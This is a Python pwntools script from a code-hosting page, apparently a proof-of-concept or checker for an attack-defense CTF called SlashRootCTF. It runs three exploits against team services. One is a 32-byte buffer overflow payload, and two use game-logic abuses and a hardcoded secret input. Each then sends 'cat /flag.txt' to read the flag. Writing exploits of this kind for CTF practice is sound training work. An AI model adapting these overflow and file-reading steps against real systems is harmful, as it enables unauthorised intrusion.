選択できるのは25トピックまでです。 トピックは、先頭が英数字で、英数字とダッシュ('-')を使用した35文字以内のものにしてください。

104 行
2.3 KiB

5年前
5年前
5年前
5年前
5年前
5年前
5年前
  1. #! /usr/bin/env python2
  2. from pwn import process, remote
  3. HOST = "192.168.2.20"
  4. TOTAL_TEAMS = 1
  5. FORMAT = "SlashRootCTF"
  6. def run():
  7. # return process(FILENAME)
  8. return remote("127.0.0.1", 60204)
  9. def poc0(host, port):
  10. p = remote(host, port)
  11. p.recvuntil(">")
  12. p.sendline(("A" * 32) + ("\x11\x11\x11\x11\x11\x11\x11\x11\x01"))
  13. msg = p.recvuntil(">")
  14. # print(msg)
  15. if "young" in msg:
  16. p.sendline("y")
  17. p.recvuntil(">")
  18. p.sendline("2")
  19. p.recvuntil(">")
  20. p.sendline("4")
  21. p.recvuntil(">")
  22. p.sendline("y")
  23. for _ in xrange(10):
  24. p.recvuntil(">")
  25. p.sendline("99")
  26. p.sendline("cat /flag.txt")
  27. flag = p.recvuntil("}")
  28. # print flag
  29. if FORMAT in flag:
  30. return True
  31. else:
  32. return False
  33. else:
  34. return False
  35. def poc1(host, port):
  36. p = remote(host, port)
  37. p.recvuntil(">")
  38. p.sendline("Leo")
  39. p.recvuntil(">")
  40. p.sendline("y")
  41. for _ in range(2):
  42. p.recvuntil(">")
  43. p.sendline("3")
  44. p.recvuntil(">")
  45. p.sendline("0")
  46. if "Who" in p.recvuntil(">"):
  47. return False
  48. p.sendline("y")
  49. p.recvuntil(">")
  50. p.sendline("1")
  51. p.recvuntil(">")
  52. p.sendline("4")
  53. p.recvuntil(">")
  54. p.sendline("y")
  55. for _ in range(10):
  56. p.recvuntil(">")
  57. p.sendline("99")
  58. p.sendline("cat /flag.txt")
  59. flag = p.recvuntil("}")
  60. if FORMAT in flag:
  61. return True
  62. else:
  63. return False
  64. def poc2(host, port):
  65. p = remote(host, port)
  66. p.recvuntil(">")
  67. p.sendline("__th3_w0rLd_D3str0Y3r_15_b4ck__")
  68. p.recvuntil(">")
  69. p.sendline("y")
  70. p.recvuntil(">")
  71. p.sendline("6")
  72. if "Lv: 1000000" in p.recvuntil(">"):
  73. p.sendline("2")
  74. p.recvuntil(">")
  75. p.sendline("4")
  76. p.recvuntil(">")
  77. p.sendline("y")
  78. for _ in xrange(10):
  79. p.recvuntil(">")
  80. p.sendline("99")
  81. p.sendline("cat /flag.txt")
  82. flag = p.recvuntil("}")
  83. if FORMAT in flag:
  84. return True
  85. else:
  86. return False
  87. else:
  88. return False
  89. if __name__ == "__main__":
  90. for i in range(1, TOTAL_TEAMS+1):
  91. print poc0(HOST, (60004 + (i*100)))
  92. print poc1(HOST, (60004 + (i*100)))
  93. print poc2(HOST, (60004 + (i*100)))